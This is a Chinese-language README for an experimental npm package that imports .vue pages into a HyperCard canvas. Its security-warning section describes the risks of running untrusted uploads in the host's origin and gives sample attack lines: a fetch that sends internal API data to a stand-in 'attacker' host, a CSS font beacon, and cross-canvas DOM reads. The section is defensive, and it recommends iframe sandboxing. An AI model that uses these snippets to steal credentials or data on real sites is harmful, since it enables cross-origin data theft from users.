@hy-bricks/experimental-vue-page-importer

⚠️ EXPERIMENTAL — 实验功能,API 可能在任意版本变化或下线。 请勿在生产宿主直接依赖此包,业务接入前请先联系 SDK 维护者确认状态。

把 .vue 单文件页面转换成 HyperCard PageDocument + ComponentSourceMap,供画布直接渲染。

安装

npm install @hy-bricks/experimental-vue-page-importer@experimental

注意:必须显式带 @experimental dist-tag,默认 latest 拿不到。

用法

import { importVuePage } from '@hy-bricks/experimental-vue-page-importer'

const result = importVuePage({
  filename: 'dashboard.vue',
  content: vueFileText,
  pageId: 'page_xxx',
})

if (!result.ok) {
  console.error('转换失败:', result.diagnostics)
  return
}

// result.pageDocument / result.componentSourceMap 可直接灌给 HyperCardPageRenderer
//   或 Designer 渲染

MVP 范围

支持:

• <template> 任意 Vue 模板语法
• 普通 <script>export default { ... }</script>(Options API)
• 0~N 个 <style>(合并到 source.css)

不支持(MVP):

• <script setup> / TypeScript / import 外部依赖
• <style scoped> / <style module>
• 外部相对资源(./foo.png)
• 自定义 block / 组件包

不承诺:

• 不会把 .vue 内部的卡片/按钮/图表拆成可独立拖拽的画布节点(MVP 是 opaque page import,整张页面作为单 root component 渲染)

设计稿

详 docs/archive/development-history/v1/frontend-sdk/20260525-1310-claude-experimental-vue-page-importer-设计稿-rev4.md(rev4 codex 终签锁档)。

边界声明

• @vue/compiler-sfc 只在本包出现,绝不进 @hy-bricks/core / @hy-bricks/canvas / @hy-bricks/editor / @hy-bricks/devtools 任何 dep
• 本包走独立 npm dist-tag experimental,不跟 主 4 包 lock-step
• release 隔离:root pnpm release 不会 build/publish 本包,需走独立 pnpm release:experimental

⚠️ 安全警告 · 不可信内容上传

这个包按设计执行任意用户 .vue 中的 JavaScript。上传的 <script> 经 compileComponent 包成 new Function('module', 'exports', ...) 在宿主页面同一 origin 下运行,拥有宿主 window / fetch / document.cookie / localStorage 的完整访问权。

真实风险面

1. API 横向窃取:用户 .vue mounted(){ fetch('/api/internal', { credentials: 'include' }).then(r => r.text()).then(d => fetch('https://attacker/', { method: 'POST', body: d })) } — 沿用宿主认证 cookie 偷宿主任意同 origin API
2. 跨画布 DOM 读取:Vue $root 不被 provide(HC_CANVAS_ID_KEY) 隔离,用户 .vue this.$root.$el.querySelectorAll(...) 可读宿主页面任意 DOM(包括其他租户/组件的渲染内容)
3. CSS 信道:@font-face { src: url('https://attacker/beacon?...') } 由 cssScope 留全局(packages/core/src/cssScope.ts 只 console.warn),浏览器 fetch font 时把 Referer 等元信息送往攻击者

业务宿主接入 必读

| 场景 | 接入方式 | |------|---------| | 受信内容(自己写的 .vue、内部团队上传) | 可直接接入本包 | | 不可信内容(C 端用户 / 多租户上传 / 第三方贡献) | 必须 iframe sandbox(sandbox="allow-scripts" 配 srcdoc + 不同 origin)+ CSP origin 隔离;严禁与宿主同 origin 渲染 |

对应底层链路是 @hy-bricks/core 的 compileComponent + cssScope 设计选择(SDK 有意 trust 组件源码),本包不引入额外沙箱;接入方负责选合适的执行边界。